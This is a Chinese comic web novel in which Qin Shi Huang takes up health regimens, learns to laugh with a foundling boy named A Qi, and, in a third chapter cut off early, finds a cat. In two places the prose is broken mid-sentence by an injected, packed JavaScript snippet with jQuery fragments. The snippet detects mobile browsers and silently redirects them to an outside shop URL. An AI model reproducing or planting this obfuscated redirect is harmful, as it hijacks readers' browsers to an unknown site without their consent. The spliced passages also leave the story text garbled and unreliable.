《大秦奇谭》 1. 今日陛下也在努力养生 咸阳宫,章台殿。 空气中弥漫着一股淡淡的药草香,与平日里肃杀的墨香、竹简味格格不入。太医令夏无且跪坐在下首,额角沁出细密的汗珠,双手捧着一卷帛书,声音微微发颤。 “陛下,此乃臣与方士们呕心沥血研制的‘长生不老丹’改良方。去除了铅汞,佐以灵芝、首乌、晨露……” 御座上的男人,身着玄衣纁裳,冕旒垂落,遮住了他锐利的眉眼。他并未看那丹方,只是漫不经心地摩挲着手中的玉璧,指尖冰凉。 “夏无且,”嬴政的声音不高,却带着不容置疑的威压,“你上月说,朕需静养,忌动怒,忌熬夜,忌食辛辣。朕依了你。” “是……是……”夏无且冷汗涔涔。 “上上月,你说朕需每日饮那苦涩的‘五石散’汤,朕也依了你。” “陛下圣明……” “再往前,你说朕需行导引之术,每日清晨绕宫城疾走十里,朕……也走了。” 嬴政的手指停住,目光透过冕旒,如利剑般射向夏无且:“可朕今日晨起,照了照铜镜,为何发间,又多了几根白发?” “噗通”一声,夏无且伏地不起,声音带着哭腔:“陛下!长生之道,非一日之功啊!此乃天道循环,臣……臣只能尽力延缓……” 殿内一片死寂,只有夏无且粗重的喘息声。 许久,嬴政缓缓开口,语气竟带上了一丝……委屈? “朕每日批阅奏章,至子时方歇。朕吞丹服药,苦不堪言。朕甚至听了你的话,把那些惹朕生气的儒生都赶去了骊山修陵,眼不见为净。朕如此努力,为何苍天还要夺朕年华?” 夏无且:“……”陛下,您管那叫“赶去修陵”吗?那是坑杀啊!而且您批阅奏章到子时,那叫熬夜,不叫养生啊! 但他不敢说。他只是把头埋得更低,脑中飞速运转,想着该如何把这尊大佛哄好。 就在这时,殿外传来一阵急促的脚步声,一名内侍神色慌张地捧着一卷竹简进来。 “陛下!蒙恬将军八百里加急!” 嬴政神色一凛,瞬间收敛了方才那点私人情绪,恢复了那个横扫六合的帝王威仪:“念。” “臣蒙恬叩首:北击匈奴,大捷。然军中将士水土不服,多有腹泻、体虚之症,恳请陛下……” “准。”嬴政大手一挥,“传令太医署,即刻调配药草送往北疆。” “诺。”内侍退下。 嬴政重新看向还趴在地上的夏无且,若有所思。 “夏无且。” “臣在!” “朕记得,你方才说,朕需‘静养’。” “是……” “朕觉得,这宫中太过喧闹,日日有大臣争吵,夜夜有竹简堆积,实在不利于朕的‘静养’。” 夏无且心里咯噔一下,升起一股不祥的预感。 果然,嬴政嘴角勾起一抹极淡的笑意,那是他决定推行某项“新政”时的标志性表情。 “传朕旨意,明日朕要微服出巡,体察民情,顺道……寻访名医,以求长生之道。” 夏无且眼前一黑。 陛下,您管那叫“微服出巡”?您上次“微服出巡”,可是差点把博浪沙砸出个天坑啊! 三日后,骊山脚下,一处名为“长寿里”的小村落。 嬴政换上了一身寻常富商的深衣,身边只跟着扮作管家的李斯和扮作护卫的蒙毅,以及哭丧着脸的夏无且。 “陛下……不,老爷,”李斯低声劝道,“此处偏僻,恐有危险,不如……” “不如什么?”嬴政瞥了他一眼,“朕……我听闻此处有位百岁老者,耳聪目明,还能上山打猎。此等养生之道,岂能不学?” 李斯默默闭嘴。他知道,陛下这是跟“长生”杠上了。 一行人沿着乡间小路走着,突然,前方传来一阵喧哗。 “抓住他!别让他跑了!” 只见一个衣衫褴褛的少年,怀里抱着几个热腾腾的蒸饼,正拼命狂奔。他身后,几个凶神恶煞的壮汉紧追不舍。 “小贼!敢偷我们东家的饼!” 少年脚下一绊,眼看就要摔倒。他下意识闭眼,却撞进了一个结实的胸膛。 蒙毅面无表情地扶住他,顺手将那几个蒸饼接住,扔还给追来的壮汉,又丢出一串半两钱:“够了吗?” 壮汉们见这几人气度不凡,不敢造次,拿了钱悻悻离去。 少年惊魂未定,抬头看向救他的人。这一看,不由得愣住了。 眼前这“老爷”,虽然穿着朴素,但身姿挺拔,眉宇间自带一股睥睨天下的气势,让人不敢直视。 “多……多谢老爷救命之恩!”少年连忙跪下磕头。 嬴政低头看着他,这少年虽然瘦弱,但眼神清亮,透着几分机灵劲儿。 “为何偷盗?” 少年脸一红,小声道:“我……我饿。阿翁病了,家里没吃的,我想给他带点热乎的……” “你阿翁?就是那位百岁老者?” “百岁?”少年一愣,随即摇头,“我阿翁才五十有三,不过前阵子进山采药摔断了腿,一直没好。” 嬴政眉头微皱,看向夏无且。夏无且赶紧摇头,表示自己也是道听途说。 “既是采药人,想必懂些医术。”嬴政来了兴趣,“带我们去看看。” 少年犹豫了一下,但看着蒙毅那不容置疑的眼神,还是乖乖带路了。 村子深处,一间破败的茅屋。 屋内弥漫着浓重的草药味,一位老者躺在床上,面色蜡黄,腿上缠着厚厚的布条,隐隐渗出血迹。 夏无且上前查看一番,眉头紧锁:“伤及筋骨,又拖延日久,恐有性命之忧。” 少年一听,顿时慌了,眼泪在眼眶里打转:“求求你们,救救我阿翁!我……我给你们当牛做马!” “当牛做马倒不必。”嬴政淡淡道,“你若能答上我的问题,我便让这位……大夫,救你阿翁。” “您问!” “我听闻此地有长寿之道,你可知晓?” 少年眨了眨眼,似乎没想到会是这个问题。他挠了挠头,道:“长寿之道?阿翁常说,早睡早起,多喝热水,莫生气,莫操心,吃嘛嘛香,身体倍棒。” 一旁的李斯和蒙毅嘴角抽搐。这……这不是废话吗? 然而,嬴政却听得极为认真,甚至示意夏无且记下来。 “还有呢?” “还有……”少年想了想,“阿翁说,人要接地气,没事多光脚在泥地上走走;还要晒太阳,别老躲在屋子里;心情不好就对着大山喊两声,把浊气吐出来。” 嬴政若有所思。接地气?晒太阳?吐浊气? 他常年居于深宫,脚下是冰冷的金砖,头顶是高耸的殿宇,心情不好……通常是杀人。 “听起来,颇有几分道理。”嬴政点头,“夏无且,记下了吗?” “记……记下了。”夏无且一边记,一边心里吐槽,陛下,这都是乡野村夫的土方子啊! “好了,该你救人了。”嬴政看向夏无且。 夏无且不敢怠慢,拿出随身的药箱,开始为老者处理伤口。他手法娴熟,又是宫廷御医,很快便稳住了老者的伤势。 少年在一旁看得目瞪口呆,这才知道自己遇到了高人。 “多谢老爷!多谢神医!”少年又要磕头。 “不必。”嬴政看着少年,“你叫什么名字?” “我叫……阿弃。” “阿弃?”嬴政挑眉,“为何叫此名?” “我……我是阿翁在路边捡来的弃婴,所以叫阿弃。” 嬴政沉默片刻,眼中闪过一丝复杂的情绪。他一生追求长生,渴望永恒,却见多了生离死别,也见多了像阿弃这样被遗弃的生命。 “从今日起,你便跟着我吧。”嬴政突然开口。 李斯和蒙毅皆是一惊。陛下这是要收留这个乡野少年? “啊?”阿弃也愣住了。 “我府上缺个……养生顾问。”嬴政一本正经地说道,“你方才所言,甚合我意。你随我回府,专门负责我的饮食起居,教我如何‘接地气’、‘晒太阳’。” 阿弃:“……”我只是随口说说啊老爷! 回到咸阳宫后,嬴政的生活发生了翻天覆地的变化。 首先是饮食。 以往,御膳房送来的都是山珍海味,熊掌猩唇,油腻厚重。 如今,阿弃端上来的,是一碗清粥,一碟青菜,两个蒸饼。 “陛下,阿弃说,这叫‘粗茶淡饭’,能清肠胃,延年益寿。”夏无且在一旁战战兢兢地解释。 嬴政看着那寡淡的粥,又看看旁边眼巴巴望着他的阿弃,最终还是拿起勺子,喝了一口。 “如何?”阿弃期待地问。 “……尚可。”嬴政面无表情地咽下,心里却在想,寡人横扫六合,就是为了吃这个? 其次是作息。 以往,嬴政批阅奏章到子时是常事,甚至通宵达旦。 如今,亥时刚到,阿弃就会准时出现在章台殿门口,手里拿着一根……鸡毛掸子。 “老爷,该睡觉了。” 李斯正在汇报工作,见状大惊:“放肆!陛下正在……” “李大人,”阿弃理直气壮,“老爷说了,养生之道,在于早睡。亥时不睡,伤肝伤肾,折寿十年。” 李斯:“……”他求助地看向嬴政。 嬴政揉了揉眉心,看着阿弃那副“你不睡我就不走”的架势,无奈地挥挥手:“罢了,李斯,明日再议。” 李斯目瞪口呆地看着陛下竟然真的起身,跟着阿弃去就寝了。 最离谱的是运动。 以往,嬴政只在朝堂上走动,或者乘车巡游。 如今,每日清晨,宫人们都能看到这样一幅奇景: 大秦帝国的皇帝陛下,脱去了繁复的冕服,穿着一身短打,赤着双脚,在御花园的泥地上……散步。 “陛下,这叫‘光脚接地气’,能吸收大地之精华。”阿弃在一旁讲解。 嬴政感受着脚底泥土的湿润和粗糙,心情竟意外地有些舒畅。这比冰冷的金砖确实多了几分生机。 “陛下,还要‘吐浊气’。”阿弃示范,“啊——!” 嬴政:“……”朕乃天子,怎能做如此不雅之举? “陛下,您试试嘛,很舒服的。”阿弃鼓励道。 嬴政犹豫再三,见四下无人,才深吸一口气,对着远处的骊山,发出了一声压抑的低吼:“啊——!” 吼完,他竟觉得胸中积郁已久的浊气似乎真的散去了不少。 “怎么样?”阿弃笑眯眯地问。 “……甚好。”嬴政嘴角微不可察地扬了扬。 然而,好景不长。嬴政的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387642|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养生大业”很快遇到了阻碍。 这日大朝会,气氛格外凝重。 以丞相王绾为首的一批老臣,联名上书,痛陈“新政”之弊,特别是关于郡县制的推行,阻力重重。 “陛下!分封子弟,乃周礼之制,亦是屏藩皇室之要义!如今尽废分封,恐天下不稳啊!” “陛下!六国遗民心怀叵测,若无宗室镇守四方,大秦危矣!” 嬴政坐在御座上,脸色阴沉。这些老顽固,食古不化,只知道抱着周礼不放。 他越听越气,手背上青筋暴起,眼看就要发作。 就在这时,他感觉有人在扯他的袖子。 低头一看,是扮作小内侍站在他身后的阿弃。 阿弃拼命冲他使眼色,用口型说道:“莫生气,莫生气,气出病来无人替。” 嬴政:“……” “陛下!臣等一片赤诚,还请陛下三思!”王绾等人跪地叩首,大有不答应就不起来的架势。 嬴政深吸一口气,想起阿弃的话:“心情不好,就默念‘世界如此美妙,我却如此暴躁,这样不好,不好’。” 他闭上眼,强压下怒火,再睁眼时,眼中已是一片平静。 “众卿所言,朕知道了。”嬴政的声音出奇地温和,“此事关系重大,容朕……再想想。” 满朝文武皆是一愣。陛下今日……怎么这么好说话? 以往遇到这种事,陛下早就拍案而起了,不罢免几个官员绝不罢休。 “退朝。”嬴政起身,拂袖而去,留下众臣面面相觑。 回到章台殿,嬴政屏退左右,只留下阿弃。 “阿弃,你可知今日朝堂之上,那些老臣在逼朕?”嬴政语气平静,但阿弃能感觉到他平静下的波涛。 “知道。”阿弃老实点头。 “那你为何还要拦朕?” “因为老爷答应过我,要养生,要长寿。”阿弃认真地看着嬴政,“生气会让人老得快,还会掉头发。老爷不想再长白头发了吧?” 嬴政摸了摸自己的发髻,沉默了。 “可是,阿弃,”嬴政叹了口气,第一次在这个少年面前流露出疲惫,“朕是皇帝。皇帝……不能总是‘莫生气’。有些事,必须用雷霆手段。” “雷霆手段可以用,但不必生气用。”阿弃歪着头,“阿翁说过,智者治人,不怒而威。老爷比他们都聪明,一定能想到不生气也能解决问题的办法。” “不怒而威……”嬴政咀嚼着这四个字,眼中闪过一丝精光。 是啊,他是秦始皇,是横扫六合的霸主。他的威严,不需要靠发怒来维持。 “好,朕明白了。”嬴政拍了拍阿弃的肩膀,“去,给朕端碗清粥来,朕……饿了。” “好嘞!”阿弃高兴地跑了出去。 看着阿弃的背影,嬴政眼中闪过一丝笑意。这个少年,虽然不懂朝政,却懂人心,更懂……如何让他这个皇帝,活得久一点。 数月后,咸阳宫传出旨意: 废除分封,全面实行郡县制,但允许皇室子弟担任郡守,以示恩宠。同时,设立“博士”制度,吸纳六国学者,让他们去研究学问,别整天想着复国。 此诏一出,既坚持了中央集权,又安抚了宗室和儒生,朝堂上下,一片称颂。 “陛下圣明!此举既固国本,又安人心,实乃万世之策!”李斯由衷赞叹。 嬴政坐在御座上,气色红润,眼神明亮,原本鬓角的几根白发似乎也变黑了。 “李斯,你觉得朕近日如何?”嬴政问道。 “陛下……”李斯仔细端详,惊讶道,“陛下神采奕奕,目光如炬,似乎……年轻了许多!” “哈哈哈哈哈!”嬴政大笑,“朕也觉得,近日身体轻健,批阅奏章至深夜,亦不觉疲惫。” 这时,阿弃端着茶点走了进来。 “老爷,该喝茶了,这是今日新采的菊花,清肝明目。” 嬴政接过茶盏,看向阿弃,眼中带着一丝深意。 “阿弃,你可知,世人皆求长生,或寻仙丹,或练奇术。你觉得,长生之道,究竟在何处?” 阿弃想了想,放下托盘,认真道:“老爷,阿弃不懂什么大道理。但阿翁说过,人活一世,草木一秋。只要吃得下,睡得着,笑得出来,有人惦记,有人陪伴,哪怕只有短短几十年,也是长寿。若是整日担惊受怕,生气忧愁,就算活到一百岁,也是受罪。” 嬴政握着茶盏,久久不语。 他一生都在追求□□的永恒,却忽略了心灵的安宁。 他看着眼前这个单纯的少年,又想起那些为了长生而被他派去海外求仙的方士,想起那些被他坑杀的儒生,心中第一次生出了一丝……愧疚。 或许,真正的长生,不是服下丹药,而是放下执念,好好活着。 “阿弃。” “在。” “明日,随朕去骊山,看看你阿翁。” “真的?”阿弃眼睛一亮。 “嗯。”嬴政点头,“顺便,朕也想再……光脚走走,接接地气。” “好!”阿弃笑得眉眼弯弯,“我给老爷带路!” 阳光透过窗棂洒进大殿,照在两人身上,温暖而明亮。 今日的陛下,依然在努力养生。 只不过,他养的不再是虚无缥缈的长生梦,而是这实实在在的、热气腾腾的人间烟火。 2. 今日陛下也在努力憋笑 章台殿,大朝会。 空气凝重得仿佛能拧出水来。文武百官屏息凝神,眼观鼻,鼻观心,生怕发出一点声响,触怒了御座上的那位。 嬴政身着玄色冕服,十二旒白玉珠垂在眼前,遮住了他锐利如鹰隼的目光。他手指有一下没一下地敲击着龙椅扶手,发出沉闷的“笃、笃”声,每一声都敲在众臣的心尖上。 “李斯。” “臣在。”李斯连忙出列,躬身行礼。 “关于统一文字之事,进展如何?” “回陛下,小篆样本已下发各郡县,然……六国遗民颇有抵触,推行缓慢。”李斯小心翼翼地回答,额角渗出细汗。 “抵触?”嬴政的声音不高,却带着刺骨的寒意,“朕统一六国尚且用了十年,统一文字,难道还要再等十年?” “臣惶恐!”李斯噗通一声跪下,“臣定当……” “定当什么?”嬴政打断他,语气平淡却危险,“定当让朕等到头发花白?” 李斯吓得浑身一颤,正要请罪,突然—— “噗——” 一声极轻微、极短促,像是有人拼命捂住嘴却没捂严实的声音,从御座侧后方传来。 大殿死一般的寂静。 百官惊愕地抬头,只见陛下身后那个新来的、据说很得宠的小内侍——阿弃,正死死低着头,肩膀一耸一耸的,似乎在极力压抑着什么。 李斯的心提到了嗓子眼。这小子,找死吗?竟敢在朝堂上失仪! 嬴政敲击扶手的动作停住了。他缓缓转过头,冕旒晃动,目光穿透珠帘,落在阿弃身上。 “你,在笑什么?” 阿弃浑身一僵,猛地抬起头,小脸憋得通红,眼睛里还带着笑出来的泪花。他使劲摇头,嘴闭得紧紧的,腮帮子鼓得像只仓鼠。 “说。”嬴政的语气不容置疑。 阿弃看了看底下跪着的李斯,又看了看一脸严肃的陛下,终于忍不住,又“噗嗤”一声笑了出来,边笑边断断续续地说: “陛、陛下……李大人……李大人刚才跪下去的时候……腰带……腰带松了……裤子……裤子好像要掉……” “噗——” 这回,不止阿弃,连站在前排的几个武将都没忍住,赶紧捂住嘴,脸憋成了猪肝色。 李斯老脸一红,下意识伸手去摸腰带。果然,刚才跪得太急,腰带扣松了,裤腰正松松垮垮地挂在胯骨上,再动一下,怕是真的要“君前失仪”了。 嬴政的目光落在李斯那尴尬的手和微微下滑的裤腰上,嘴角不受控制地抽动了一下。 他迅速转回头,面向百官,深吸一口气,喉结上下滚动,似乎在极力吞咽着什么。 “咳。”他清了清嗓子,声音有些发紧,“李斯。” “臣……臣在!”李斯欲哭无泪,手都不知道该往哪放。 “退朝后,去领十丈布,做条新腰带。”嬴政的声音里带着一丝不易察觉的颤抖,“要……结实的。” “……谢陛下恩典。”李斯想死的心都有了。 “退朝!”嬴政猛地起身,袍袖一挥,大步流星地往后殿走去,步伐快得有些……仓促。 阿弃愣了一下,赶紧小跑着跟上。 一进后殿,隔绝了百官的视线,嬴政的脚步猛地停住。 他背对着阿弃,肩膀开始轻微地颤抖。 “噗……哈哈哈哈哈哈!” 压抑了许久的笑声终于爆发出来,低沉而爽朗,震得殿梁上的灰尘都簌簌落下。 阿弃站在他身后,看着平日里不苟言笑的陛下笑得前仰后合,甚至抬手抹了抹眼角的泪花,不由得也咧嘴笑了。 “陛下,您刚才憋得是不是很辛苦?” 嬴政转过身,脸上还带着未散的笑意,伸手捏了捏阿弃的脸颊:“你这小子,眼睛倒是尖。李斯那老家伙,平日里道貌岸然,今日竟……哈哈哈哈!” “就是就是,”阿弃连连点头,绘声绘色地模仿,“李大人刚才脸都绿了,手还偷偷提着裤子,像只被踩了尾巴的猫!” “被踩了尾巴的猫……”嬴政想象了一下那个画面,又忍不住大笑起来。 笑了好一阵,他才慢慢止住,看着阿弃,眼中带着几分新奇:“朕许久……未曾如此开怀了。” 自登基以来,他面对的便是无尽的权谋、战争、背叛和压力。笑,对他而言是一种奢侈,更是一种需要警惕的情绪。可今日,仅仅因为一个大臣的窘态,他竟然笑得如此失态。 “陛下就该多笑笑。”阿弃认真道,“阿翁说过,笑一笑,十年少。总板着脸,容易长皱纹。” “哦?”嬴政挑眉,“朕长皱纹了?” “现在没有,但总生气就会长。”阿弃凑近了些,仔细端详嬴政的脸,“陛下,您笑起来其实很好看,眼睛弯弯的,像……像月牙儿。” 嬴政微微一怔。从来没有人敢这样直视他,更没有人敢用“月牙儿”来形容他的眼睛。 他伸手敲了敲阿弃的脑门:“大胆,敢调侃朕。” “哎哟!”阿弃捂着额头,笑嘻嘻的,“臣不敢,臣只是实话实说。” 这时,殿外传来内侍的通禀声:“陛下,蒙恬将军求见。” 嬴政脸上的笑意瞬间收敛,恢复了帝王的威仪:“宣。” 蒙恬大步走进来,神色凝重:“陛下,北疆急报,匈奴……” “讲。”嬴政坐下,手指习惯性地敲击桌面。 蒙恬汇报着军情,嬴政听得认真,不时发出指令。阿弃站在一旁,百无聊赖地东张西望。 突然,他的目光落在蒙恬的靴子上。 蒙恬的靴子沾满了泥土,显然是刚从军营赶来。而在他的右脚靴筒边缘,竟然……粘着一小片翠绿的菜叶,随着他说话的动作,一颤一颤的。 阿弃瞪大了眼睛,嘴角开始疯狂上扬。他赶紧低下头,用脚尖在地上画圈圈。 “噗……” 一声极轻的笑声。 蒙恬的声音顿了一下,疑惑地看了一眼阿弃,继续汇报。 “噗嗤……”又是一声。 嬴政皱眉,瞥了阿弃一眼。阿弃赶紧捂住嘴,指了指蒙恬的脚,拼命使眼色。 嬴政顺着他的手指看去,目光定格在那片迎风招展的菜叶上。 蒙恬,大秦第一勇士,统领三十万大军,此刻靴子上粘着片菜叶,正在严肃地讨论如何砍杀匈奴。 嬴政的嘴角抽动了一下。他端起茶杯,想喝口水掩饰,但手抖得厉害,茶水差点洒出来。 “陛下?”蒙恬终于察觉不对,停了下来。 “无……无事。”嬴政放下茶杯,声音有些发飘,“你继续说,匈奴……嗯……有多少人来着?” “骑兵五千,陛下。”蒙恬有些奇怪,陛下今日记性怎么差了? “哦,五千……”嬴政深吸一口气,努力将视线从菜叶上移开,看向蒙恬的脸,“爱卿……今日来之前,可是去了……菜园?” 蒙恬一愣:“臣刚从校场过来,未曾去菜园。陛下为何有此一问?” “没什么。”嬴政猛地站起身,快步走到屏风后面,“朕……朕突然想起一事,爱卿稍候。” 屏风后传来一阵可疑的、压抑的、像是被什么东西堵住的闷笑声,还夹杂着几声剧烈的咳嗽。 蒙恬一脸茫然,看向阿弃:“陛下怎么了?” 阿弃憋着笑,指了指蒙恬的脚:“将军,您的靴子……” 蒙恬低头一看,脸瞬间涨成了紫红色,手忙脚乱地把那片菜叶扯下来,恨不得找个地缝钻进去。 片刻后,嬴政从屏风后走出来,脸上带着一丝可疑的红晕,神情却无比严肃。 “蒙恬。” “臣在!”蒙恬挺直腰板,试图挽回形象。 “下次见朕之前,”嬴政一本正经地说道,“记得……擦擦靴子。” “……诺!”蒙恬羞愤欲死,恨不得当场自刎。 自那日后,嬴政发现,自己的生活似乎变得……丰富多彩起来。 这日午膳,桌上摆满了珍馐美味。 嬴政拿起筷子,正要夹一块炙肉,突然动作一顿。 他看向站在一旁侍膳的阿弃:“这是什么?” 阿弃探头一看,那是一盘精致的糕点,做成各种小动物的形状,憨态可掬。 “回陛下,这是御膳房新研制的‘十二生肖糕’。” “为何……这只猪,”嬴政指了指其中一个,“头上顶着朵菊花?” 那是一只粉嫩的小猪,本该是耳朵的地方,却插着两片金黄的菊花瓣,看起来……十分诡异且滑稽。 阿弃凑近仔细看了看,恍然大悟:“哦!陛下,这好像不是猪,是……是羊。厨子可能把羊角做成菊花瓣了,说是……清热降火。” “羊角……做成菊花瓣?”嬴政想象了一下厨子为了“养生”而进行的艺术创作,嘴角又开始不受控制地上扬。 他夹起那块“羊”,放进嘴里,味道……一言难尽。 “还有这个,”嬴政又指向另一盘菜,“这又是何物?” 那是一碗汤,汤色清澈,里面漂浮着几块白色的东西,形状……颇为眼熟。 “这是……豆腐脑?”嬴政问。 “不是的陛下,”阿弃摇头,“这是御厨用山药和茯苓做的‘健脑羹’,说是吃了能……” “能什么?” “能……让陛下少忘事。”阿弃小声说道,显然是记起了上次朝堂上陛下“忘”了匈奴人数的事。 嬴政:“……” 他看着碗里那几块颤巍巍、白嫩嫩,酷似某种不可描述之物的“健脑羹”,陷入了沉思。 “噗……”阿弃又开始捂嘴。 嬴政瞪了他一眼,拿起勺子,舀起一勺“健脑羹”,送到嘴边,又停住了。 “阿弃。” “在。” “你觉得,这像什么?” 阿弃眨眨眼,天真无邪:“像……像脑花?” “不,”嬴政一本正经地摇头,“朕觉得,它像……李斯的额头。” 李斯的额头,又白又亮,还光溜溜的。 “噗哈哈哈哈哈哈!”阿弃再也忍不住,笑得直拍大腿,“像!太像了!李大人要是知道陛下拿他的额头比作……比作这个,怕是要哭晕在茅房!” 嬴政也笑了起来,手里的勺子都在抖。 “去,”他笑着吩咐,“把这碗‘健脑羹’……不,是‘李斯额’,给李斯送去,就说朕赏他的,让他务必吃完。” “诺!”阿弃笑得肚子疼,端着碗跑了出去。 为了体验民情,也为了……找点乐子,嬴政决定再次微服出巡。 这次,他只带了蒙毅和阿弃。 咸阳街头,熙熙攘攘,热闹非凡。 嬴政负手走在前面,看着街上百姓安居乐业,心中颇为满意。 “卖——糖人咯!又甜又脆的糖人!”一个小贩高声吆喝。 阿弃眼睛一亮,拉着嬴政的袖子:“老爷,我想吃那个!” 嬴政看了一眼那晶莹剔透的糖人,点了点头。 阿弃高兴地跑过去:“老板,来三个糖人!” “好嘞!客官要什么形状的?” 阿弃指着架子上的样品:“我要那个龙的,老爷要那个……嗯,老虎的,蒙大人要那个……猴子的!” 蒙毅:“……”为什么我是猴子? 小贩手脚麻利,很快做好了三个糖人。 阿弃接过糖人,把老虎递给嬴政,猴子递给蒙毅,自己拿着龙,舔了一口,满足地眯起眼。 嬴政拿着那个老虎糖人,看着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387643|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歪歪扭扭、甚至有点……呆萌的老虎,挑了挑眉。 “这就是……百兽之王?” “老爷,您别看它长得憨,它心里凶着呢!”阿弃煞有介事地说道。 就在这时,一只大黄狗摇着尾巴跑了过来,闻到糖的甜味,围着几人打转,最后停在嬴政面前,眼巴巴地看着他手里的老虎糖人,甚至还“汪”了一声,似乎在讨要。 嬴政:“……” 蒙毅脸色一变,正要呵斥,却被嬴政抬手阻止。 嬴政低头看着那只狗,又看了看手里的糖老虎,突然蹲下身,把糖老虎递到狗鼻子前晃了晃。 大黄狗兴奋地摇着尾巴,张嘴就要咬。 嬴政猛地收回手,大黄狗扑了个空,茫然地看着他。 “想吃?”嬴政问狗。 “汪!” “不给。”嬴政站起身,把糖老虎举高,嘴角勾起一抹恶劣的笑意,“朕……我的东西,岂是你能觊觎的?” 大黄狗急了,围着嬴政直转圈,甚至试图站起来扒拉他的腿。 “哈哈哈哈!”阿弃和蒙毅看着平日里威严的陛下竟然在逗狗,都忍不住笑了起来。 周围的路人也纷纷驻足,看着这个气度不凡的“老爷”和一只狗较劲,指指点点,议论纷纷。 “这老爷真有意思,跟狗抢糖吃。” “看着挺有钱的,怎么这么小气?” “那狗真可怜……” 嬴政听着周围的议论,脸不红心不跳,反而更加起劲。他拿着糖老虎,左躲右闪,大黄狗急得汪汪直叫。 突然,大黄狗一个猛扑,嬴政下意识后退一步,脚下一滑,向后倒去。 “老爷!”蒙毅大惊,正要上前搀扶。 然而,嬴政并没有摔倒。他感觉后背撞上了一个软绵绵的东西,紧接着,一阵“叮铃哐啷”的巨响在他身后响起。 他稳住身形,回头一看。 他撞倒了一个……卖陶罐的摊子。 几十个陶罐碎了一地,碎片中间,摊主——一个满脸横肉的壮汉,正目瞪口呆地看着他,手里还拿着半个没卖出去的……夜壶。 空气凝固了。 壮汉看了看满地的碎片,又看了看嬴政,脸上的横肉开始抖动,眼中燃起怒火。 “你——!赔钱!” 嬴政拍了拍衣袍上的灰尘,神情淡定:“蒙毅,赔钱。” 蒙毅赶紧掏出钱袋。 “等等!”壮汉却一摆手,指着嬴政手里的糖老虎,“还有这个!” “这个?”嬴政挑眉。 “对!我的狗看上你的糖了,你把糖给它,这事就算了!”壮汉蛮横地说道。 原来,这狗是他的。 大黄狗还在冲着糖老虎摇尾巴。 嬴政看了看狗,又看了看壮汉,突然笑了。 他慢条斯理地举起糖老虎,在壮汉和狗期待的目光中,张开嘴—— “咔嚓。” 一口咬掉了老虎的头。 壮汉:“……” 大黄狗:“……呜?” 阿弃:“噗——” 嬴政嚼着糖,甜味在口中化开,他满意地点点头,对壮汉说道:“味道不错。蒙毅,双倍赔偿。” 说完,他转身,背着手,优哉游哉地继续往前走,留下壮汉在原地风中凌乱。 走出老远,阿弃才敢笑出声:“哈哈哈哈!陛下,您太坏了!那狗都要哭了!” 蒙毅也忍俊不禁:“陛下,您刚才……” “怎么?”嬴政瞥了他一眼,“朕的东西,宁可毁了,也不给恶犬。” “是是是,”阿弃连连点头,竖起大拇指,“陛下威武!” 嬴政看着阿弃笑得灿烂的脸,心情愉悦。他抬头看了看湛蓝的天空,觉得这日子,似乎比以前有趣多了。 夜幕降临,咸阳宫灯火通明。 嬴政批阅完最后一卷奏章,放下朱笔,揉了揉眉心。 阿弃端着一碗温热的牛乳走进来:“陛下,该歇息了。” 嬴政接过牛乳,喝了一口,看向阿弃:“阿弃,你可知今日朕为何要逗那狗?” 阿弃想了想:“因为陛下想逗它?” “不,”嬴政摇摇头,“因为朕发现,有时候,放下身段,做一些看似无聊甚至幼稚的事,反而能让人……心情舒畅。” “就像陛下今日咬掉老虎头一样?”阿弃笑嘻嘻地问。 “就像今日咬掉老虎头一样。”嬴政也笑了。 他看着跳跃的烛火,缓缓说道:“朕这一生,都在追求至高无上的权力,追求万世不朽的功业。朕以为,那就是快乐。可这些日子,朕却发现……” “发现什么?” “发现看着李斯提着裤子,看着蒙恬粘着菜叶,看着一只狗为了块糖急得团团转……”嬴政眼中闪过一丝笑意,“这些微不足道的小事,竟比打了胜仗,更让朕想笑。” 阿弃认真地看着嬴政:“陛下,这就是阿翁说的‘人间烟火气’呀。高高在上太久了,会忘记怎么笑的。” “人间烟火气……”嬴政咀嚼着这几个字,点了点头。 “所以陛下,”阿弃凑近了些,眼睛亮晶晶的,“以后您要是再不开心,臣就给您讲笑话,或者……带您去看李大人出丑?” “好。”嬴政笑着揉了揉阿弃的脑袋,“一言为定。” “一言为定!” 烛光摇曳,将两人的影子拉得很长。 窗外,月朗星稀,又是一个宁静的夜晚。 而此刻的章台殿内,大秦帝国的皇帝陛下,正和他的小内侍,为了一个关于“蒙恬将军到底有没有偷偷穿女装”的赌约,笑得前仰后合。 今日的陛下,依然在努力憋笑。 不,今日的陛下,终于可以痛痛快快地笑了。 3. 关于陛下最近沉迷养猫这件事 咸阳宫的屋顶,向来是禁卫军重点巡逻的区域。毕竟,曾有过博浪沙的铁锥之鉴,没人敢保证不会有第二个张良从天上扔点什么下来。 然而,这天夜里,掉下来的不是铁锥,而是一团……毛茸茸的、黑白相间的、还在“喵呜”惨叫的生物。 “砰”的一声闷响,伴随着瓦片碎裂声,那团生物精准地砸穿了章台殿偏殿的窗纸,不偏不倚,正好落在了嬴政正在批阅的竹简上。 “护驾!!” 蒙毅反应极快,长剑瞬间出鞘,寒光一闪,直指那团不明物体。 “且慢。” 嬴政抬手,挡住了蒙毅的剑锋。他低头,看着趴在他奏章上的那个小家伙。 